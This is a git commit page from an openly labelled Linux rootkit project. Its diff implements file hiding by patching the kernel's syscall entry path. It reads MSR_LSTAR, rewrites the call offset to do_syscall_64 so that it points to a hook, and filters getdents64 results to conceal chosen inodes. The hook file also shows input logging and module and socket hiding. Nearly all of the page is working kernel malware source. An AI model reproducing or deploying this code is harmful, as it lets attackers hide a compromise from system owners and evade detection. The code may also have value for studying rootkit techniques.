linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 6e231c6ca60f527caf3e1fcd04e40dd434c0d35e
parent 7acc7de08cc3a255e1a8fcb74d71df053621184c
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sun, 10 Jan 2021 02:02:20 +0100

Very rough around the edges, but working filehiding

Diffstat:
Msrc/filehide_lstar.c | 121++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------------
Msrc/filehide_lstar.h | 5+++--
Msrc/hook.c | 32+++++++++++++++++---------------
3 files changed, 119 insertions(+), 39 deletions(-)

diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c @@ -1,20 +1,30 @@ #include <linux/kernel.h> #include <linux/string.h> +#include <linux/slab.h> +#include <linux/fdtable.h> +#include <linux/dcache.h> +#include <linux/irqflags.h> #include <asm/nospec-branch.h> #include <asm/msr-index.h> #include "filehide_lstar.h" +#include "filehide.h" +#include "pidhide.h" +#include "openhide.h" #include "common.h" +#include "rootkit.h" #include "hook.h" #define SEARCHLEN 512 +extern rootkit_t rootkit; + //Idea: build path from entry_SYSCALL_64_trampoline to do_syscall64 by gathering addresses piece by piece //(1) JMP_NOSPEC %rdi -> (2) [entry_SYSCALL_64_stage2] jmp entry_SYSCALL_64_after_hwframe -> (3) [entry_SYSCALL_64] call do_syscall_64 -// | -// can be skipped ============================================> +// | |====> +// can be skipped =========================================/ -//sign-extended mov rdi, imm; 0x48 is REX.W prefix +//sign-extended (0x48 REX.W) mov rdi, imm static const char *movSignExtended = "\x48\xc7\xc7"; //The first call in entry_SYSCALL_64 is the right one, so grabbing it is easy @@ -27,11 +37,13 @@ static char *find_do_syscall_64(char *lstar_addr); void g7_syscall_64(unsigned long, struct pt_regs *); void (*do_syscall_64)(unsigned long, struct pt_regs *); +static char *syscall_64_ptr; +static unsigned long oldOff; void -test_lstar(void) +hide_files_lstar(void) { - char *syscall_64_ptr = find_do_syscall_64((char *)read_msr(MSR_LSTAR)); + syscall_64_ptr = find_do_syscall_64((char *)read_msr(MSR_LSTAR)); if(!do_syscall_64 || !syscall_64_ptr) return; @@ -40,15 +52,19 @@ test_lstar(void) //newOff = g7_syscall_64_addr - nextOpcodeAddr unsigned long newOff = (unsigned long)g7_syscall_64 - ((unsigned long)syscall_64_ptr + 5); - DEBUG_INFO("%lx\n", (unsigned long)do_syscall_64); - hexdump((char *)do_syscall_64, 128); - hexdump((char *)g7_syscall_64, 128); - disable_protection(); memcpy((syscall_64_ptr + 1), &newOff, 4); enable_protection(); } +void +unhide_files_lstar(void) +{ + disable_protection(); + memcpy((syscall_64_ptr + 1), &oldOff, 4); + enable_protection(); +} + //Only use with multiples of 16.. static void hexdump(char *addr, int n) @@ -80,15 +96,10 @@ mem_offset(char *ptr) unsigned long ret = 0; memcpy(&ret, ptr, 4); - ret = sign_extend(ret); - - //Offset relative to _next_ instruction - ret += 4; - - return ret; + return sign_extend(ret); } -//Find do_syscall_64, sets it, and returns the pointer to the original call +//Finds do_syscall_64, sets it, and returns the pointer to the original call static char * find_do_syscall_64(char *lstar_addr) { @@ -106,20 +117,86 @@ find_do_syscall_64(char *lstar_addr) if(!syscall64_call_ptr) return NULL; - //Get offset relative to next address - unsigned long syscall64_off = mem_offset(syscall64_call_ptr + 1); //1 byte offset to skip opcode + hexdump(syscall64_call_ptr, 16); + + //Get offset from memory + unsigned long syscall64_off = oldOff = mem_offset(syscall64_call_ptr + 1); //1 byte offset to skip call opcode //Store correct address of do_syscall_64 - do_syscall_64 = (void *)syscall64_call_ptr + syscall64_off + 1; + //Offset relative to _next_ instruction -> e8 xx xx xx xx -> 5 bytes + do_syscall_64 = ((void *)syscall64_call_ptr + 5) + syscall64_off; return syscall64_call_ptr; } void -g7_syscall_64(unsigned long nr, struct pt_regs *regs) +g7_syscall_64(unsigned long nr, struct pt_regs *pt_regs) { - DEBUG_INFO("Number is %lu\n", nr); - do_syscall_64(nr, regs); + do_syscall_64(nr, pt_regs); + + if (nr == __NR_getdents64) { + // + // ( ͡°Ĺ̯ ͡° ) + // + //https://elixir.bootlin.com/linux/v4.19.163/source/fs/buffer.c#L1218 + local_irq_enable(); + + typedef struct linux_dirent64 *dirent64_t_ptr; + + unsigned long offset; + dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent; + struct dentry *kdirent_dentry; + + cur_kdirent = prev_kdirent = NULL; + int fd = (int)pt_regs->di; + dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si; + long ret = (long)regs_return_value(pt_regs); + + if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL))) + return; + + if (copy_from_user(kdirent, dirent, ret)) + goto yield; + + kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry; + + inode_list_t hidden_inodes = { 0, NULL }; + inode_list_t_ptr hi_head, hi_tail; + hi_head = hi_tail = &hidden_inodes; + + struct list_head *i; + list_for_each(i, &kdirent_dentry->d_subdirs) { + unsigned long inode; + struct dentry *child = list_entry(i, struct dentry, d_child); + + if ((inode = must_hide_inode(child))) + hi_tail = add_inode_to_list(hi_tail, inode); + } + + for (offset = 0; offset < ret;) { + cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset); + + if (list_contains_inode(hi_head, cur_kdirent->d_ino)) { + if (cur_kdirent == kdirent) { + ret -= cur_kdirent->d_reclen; + memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret); + continue; + } + + prev_kdirent->d_reclen += cur_kdirent->d_reclen; + } else + prev_kdirent = cur_kdirent; + + offset += cur_kdirent->d_reclen; + } + + copy_to_user(dirent, kdirent, ret); + + yield: + kfree(kdirent); + } + + local_irq_disable(); } static unsigned long diff --git a/src/filehide_lstar.h b/src/filehide_lstar.h @@ -1 +1,2 @@ -void test_lstar(void); -\ No newline at end of file +void hide_files_lstar(void); +void unhide_files_lstar(void); +\ No newline at end of file diff --git a/src/hook.c b/src/hook.c @@ -77,14 +77,14 @@ init_hooks(void) if (rootkit.hiding_module) hide_module(); - if (rootkit.hiding_files) - hide_files(); + // if (rootkit.hiding_files) + // hide_files(); - if (rootkit.hiding_open) - hide_open(); + // if (rootkit.hiding_open) + // hide_open(); - if (rootkit.hiding_pids) - hide_pids(); + // if (rootkit.hiding_pids) + // hide_pids(); if (rootkit.hiding_sockets) hide_sockets(); @@ -100,7 +100,7 @@ init_hooks(void) if (rootkit.logging_input) log_input("127.0.0.1", "5000"); - test_lstar(); + hide_files_lstar(); } void @@ -109,16 +109,16 @@ remove_hooks(void) if (rootkit.hiding_module) unhide_module(); - if (rootkit.hiding_files) - unhide_files(); + // if (rootkit.hiding_files) + // unhide_files(); - if (rootkit.hiding_open) - unhide_open(); + // if (rootkit.hiding_open) + // unhide_open(); - if (rootkit.hiding_pids) { - clear_hidden_pids(); - unhide_pids(); - } + // if (rootkit.hiding_pids) { + // clear_hidden_pids(); + // unhide_pids(); + // } if (rootkit.hiding_sockets) unhide_sockets(); @@ -131,6 +131,8 @@ remove_hooks(void) if (rootkit.logging_input) unlog_input(); + + unhide_files_lstar(); } void